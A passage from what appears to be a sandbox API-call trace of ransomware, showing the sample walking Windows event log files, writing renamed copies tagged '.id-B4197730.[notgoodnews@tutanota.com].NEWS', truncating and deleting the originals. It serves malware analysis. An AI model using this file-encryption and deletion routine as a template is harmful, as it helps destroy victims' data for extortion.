(lpString=".dbf") returned 4 [0078.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.494] lstrlenW (lpString=".1cd") returned 4 [0078.494] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.494] lstrlenW (lpString=".jpg") returned 4 [0078.494] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.494] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.494] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0078.494] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.494] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.494] CloseHandle (hObject=0x37c) returned 1 [0078.494] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0078.495] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.495] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.495] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.495] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.495] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.499] GetLastError () returned 0x0 [0078.499] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.513] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.515] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.515] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x136, lpOverlapped=0x0) returned 1 [0078.515] SetEndOfFile (hFile=0x35c) returned 1 [0078.515] CloseHandle (hObject=0x35c) returned 1 [0078.519] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.519] SetEndOfFile (hFile=0x37c) returned 1 [0078.520] CloseHandle (hObject=0x37c) returned 1 [0078.520] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.520] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString=".doc") returned 4 [0078.521] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".docx") returned 5 [0078.521] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.521] lstrlenW (lpString=".pdf") returned 4 [0078.521] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".xls") returned 4 [0078.521] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".xlsx") returned 5 [0078.521] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.521] lstrlenW (lpString=".ppt") returned 4 [0078.521] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString=".zip") returned 4 [0078.521] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".rar") returned 4 [0078.521] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".bz2") returned 4 [0078.521] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString=".7z") returned 3 [0078.521] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString=".dbf") returned 4 [0078.521] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString=".1cd") returned 4 [0078.521] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.521] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.521] lstrlenW (lpString=".jpg") returned 4 [0078.521] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString=".doc") returned 4 [0078.522] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".docx") returned 5 [0078.522] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.522] lstrlenW (lpString=".pdf") returned 4 [0078.522] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".xls") returned 4 [0078.522] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".xlsx") returned 5 [0078.522] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.522] lstrlenW (lpString=".ppt") returned 4 [0078.522] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString=".zip") returned 4 [0078.522] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".rar") returned 4 [0078.522] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".bz2") returned 4 [0078.522] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString=".7z") returned 3 [0078.522] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString=".dbf") returned 4 [0078.522] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString=".1cd") returned 4 [0078.522] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.522] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0078.522] lstrlenW (lpString=".jpg") returned 4 [0078.522] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.522] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.523] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0078.523] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.523] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.523] CloseHandle (hObject=0x37c) returned 1 [0078.523] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0078.523] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.523] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.523] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.523] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.523] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.524] GetLastError () returned 0x0 [0078.524] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.863] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.865] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.865] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x144, lpOverlapped=0x0) returned 1 [0078.865] SetEndOfFile (hFile=0x35c) returned 1 [0078.865] CloseHandle (hObject=0x35c) returned 1 [0078.867] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.867] SetEndOfFile (hFile=0x37c) returned 1 [0078.868] CloseHandle (hObject=0x37c) returned 1 [0078.869] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.869] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0078.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.869] lstrlenW (lpString=".doc") returned 4 [0078.870] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".docx") returned 5 [0078.870] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.870] lstrlenW (lpString=".pdf") returned 4 [0078.870] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".xls") returned 4 [0078.870] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".xlsx") returned 5 [0078.870] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.870] lstrlenW (lpString=".ppt") returned 4 [0078.870] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString=".zip") returned 4 [0078.870] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".rar") returned 4 [0078.870] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".bz2") returned 4 [0078.870] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".7z") returned 3 [0078.870] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString=".dbf") returned 4 [0078.870] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString=".1cd") returned 4 [0078.870] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString=".jpg") returned 4 [0078.870] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.870] lstrlenW (lpString=".doc") returned 4 [0078.870] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.870] lstrlenW (lpString=".docx") returned 5 [0078.870] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.871] lstrlenW (lpString=".pdf") returned 4 [0078.871] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString=".xls") returned 4 [0078.871] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString=".xlsx") returned 5 [0078.871] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.871] lstrlenW (lpString=".ppt") returned 4 [0078.871] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.871] lstrlenW (lpString=".zip") returned 4 [0078.871] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString=".rar") returned 4 [0078.871] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString=".bz2") returned 4 [0078.871] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString=".7z") returned 3 [0078.871] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.871] lstrlenW (lpString=".dbf") returned 4 [0078.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.871] lstrlenW (lpString=".1cd") returned 4 [0078.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0078.871] lstrlenW (lpString=".jpg") returned 4 [0078.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.871] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.871] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0078.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.872] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.872] CloseHandle (hObject=0x37c) returned 1 [0078.872] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0078.872] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.872] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.872] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.873] GetLastError () returned 0x0 [0078.873] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.876] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.878] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.878] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x116, lpOverlapped=0x0) returned 1 [0078.878] SetEndOfFile (hFile=0x35c) returned 1 [0078.878] CloseHandle (hObject=0x35c) returned 1 [0078.880] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.880] SetEndOfFile (hFile=0x37c) returned 1 [0078.881] CloseHandle (hObject=0x37c) returned 1 [0078.882] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.882] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0078.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.882] lstrlenW (lpString=".doc") returned 4 [0078.882] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.882] lstrlenW (lpString=".docx") returned 5 [0078.882] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.882] lstrlenW (lpString=".pdf") returned 4 [0078.882] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.882] lstrlenW (lpString=".xls") returned 4 [0078.882] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.882] lstrlenW (lpString=".xlsx") returned 5 [0078.882] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.882] lstrlenW (lpString=".ppt") returned 4 [0078.882] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.882] lstrlenW (lpString=".zip") returned 4 [0078.882] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".rar") returned 4 [0078.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".bz2") returned 4 [0078.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".7z") returned 3 [0078.883] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString=".dbf") returned 4 [0078.883] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString=".1cd") returned 4 [0078.883] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString=".jpg") returned 4 [0078.883] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString=".doc") returned 4 [0078.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".docx") returned 5 [0078.883] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.883] lstrlenW (lpString=".pdf") returned 4 [0078.883] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".xls") returned 4 [0078.883] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".xlsx") returned 5 [0078.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.883] lstrlenW (lpString=".ppt") returned 4 [0078.883] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.883] lstrlenW (lpString=".zip") returned 4 [0078.883] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".rar") returned 4 [0078.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".bz2") returned 4 [0078.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.883] lstrlenW (lpString=".7z") returned 3 [0078.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.884] lstrlenW (lpString=".dbf") returned 4 [0078.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.884] lstrlenW (lpString=".1cd") returned 4 [0078.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0078.884] lstrlenW (lpString=".jpg") returned 4 [0078.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.884] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.884] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0078.884] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.884] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.884] CloseHandle (hObject=0x37c) returned 1 [0078.884] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0078.884] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.885] CreateFileW 